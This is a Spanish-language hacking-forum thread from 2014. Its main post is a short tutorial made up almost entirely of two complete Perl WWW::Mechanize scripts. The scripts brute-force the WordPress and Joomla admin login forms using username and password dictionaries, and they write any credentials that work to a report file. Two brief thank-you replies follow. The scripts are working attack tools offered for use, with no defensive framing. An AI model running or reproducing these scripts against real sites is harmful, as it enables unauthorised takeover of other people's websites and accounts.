Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: manudg en 23 Junio 2014, 23:42 pm



Título: Fuerza bruta a login Wordpress y Joomla con Perl Mechanize
Publicado por: manudg en 23 Junio 2014, 23:42 pm
Pequeño tutorial de como construir scripts con Perl para explotar los formularios de login de Wordpress y Joomla mediante fuerza bruta.

wordpress-login.pl

Código
  1. #!c:/strawberry/perl/bin/perl.exe
  2.  
  3. #Evitar caracteres extraños en la consola de windows
  4. binmode(STDOUT, ":encoding(cp850)");
  5. binmode(STDIN, ":encoding(cp850)");
  6.  
  7. use WWW::Mechanize;
  8. use strict;
  9.  
  10. #parámetros para el script
  11. my $url = $ARGV[0];
  12. my $admin = $ARGV[1];
  13. my $password = $ARGV[2];
  14. my $reporte = $ARGV[3];
  15.  
  16. if (!@ARGV)
  17.    {
  18. print "wordpress-login.pl <url> <admin> <password> opcional<reporte>";
  19. }
  20. else
  21.    {
  22.  my $mechanize = WWW::Mechanize->new();
  23.  #url de destino
  24.  $mechanize->get($url);
  25.  
  26.  #Abrir el diccionario para admin
  27.  open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
  28.  while(<ADMIN>)
  29.    {
  30. my $adm = $_;
  31. chomp($adm);
  32. #Abrir el diccionario para password
  33. open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
  34. while (<PASSWORD>)
  35.  {
  36.   chomp($_);
  37.   #Enviar el formulario
  38.   $mechanize->submit_form
  39.                  (
  40.     form_id => "loginform",
  41. fields => {log => $adm, pwd => $_}
  42.   );
  43. print "$adm:$_\n";
  44. my $content = $mechanize->content;
  45. #comprobar el contenido
  46. if ($content =~ /Bienvenido/ || $content =~ /Welcome/)
  47.  {
  48.  print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
  49.   if ($reporte)
  50.     {
  51.   open(REPORTE, ">", $reporte);
  52.   print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
  53.   close(REPORTE);
  54.   print "####Datos guardados en $reporte####\n";
  55. }
  56.   exit;
  57.  }
  58.  }
  59.  close(PASSWORD);
  60. }
  61. close(ADMIN);
  62. }
  63.  

2p9L2WcGmmQ

joomla-login.pl

Código
  1. #!c:/strawberry/perl/bin/perl.exe
  2.  
  3. #Evitar caracteres extraños en la consola de windows
  4. binmode(STDOUT, ":encoding(cp850)");
  5. binmode(STDIN, ":encoding(cp850)");
  6.  
  7. use WWW::Mechanize;
  8. use strict;
  9.  
  10. #parámetros para el script
  11. my $url = $ARGV[0];
  12. my $admin = $ARGV[1];
  13. my $password = $ARGV[2];
  14. my $reporte = $ARGV[3];
  15.  
  16. if (!@ARGV)
  17.    {
  18. print "joomla-login.pl <url> <admin> <password> opcional<reporte>";
  19. }
  20. else
  21.    {
  22.  my $mechanize = WWW::Mechanize->new();
  23.  #url de destino
  24.  $mechanize->get($url);
  25.  
  26.  #Abrir el diccionario para admin
  27.  open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
  28.  while(<ADMIN>)
  29.    {
  30. my $adm = $_;
  31. chomp($adm);
  32. #Abrir el diccionario para password
  33. open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
  34. while (<PASSWORD>)
  35.  {
  36.   chomp($_);
  37.   #Enviar el formulario
  38.   $mechanize->submit_form
  39.                  (
  40.     form_id => "form-login",
  41. fields => {username => $adm, passwd => $_}
  42.   );
  43. print "$adm:$_\n";
  44. my $content = $mechanize->content;
  45. #comprobar el contenido
  46. if ($content =~ /Panel de Control/ || $content =~ /Control Panel/)
  47.  {
  48.  print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
  49.   if ($reporte)
  50.     {
  51.   open(REPORTE, ">", $reporte);
  52.   print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
  53.   close(REPORTE);
  54.   print "####Datos guardados en $reporte####\n";
  55. }
  56.   exit;
  57.  }
  58.  }
  59.  close(PASSWORD);
  60. }
  61. close(ADMIN);
  62. }
  63.  

R0IBBlyGjq8




Título: Re: Fuerza bruta a login Wordpress y Joomla con Perl Mechanize
Publicado por: .:UND3R:. en 24 Junio 2014, 04:47 am
Excelentes tutoriales, muchas gracias por compartirlos.


Título: Re: Fuerza bruta a login Wordpress y Joomla con Perl Mechanize
Publicado por: manudg en 25 Junio 2014, 13:06 pm
No hay de que amigo :UND3R:, un placer compartilo en este gran foro, encuentro muchas cosas interesantes en este sitio, un saludo.  ;D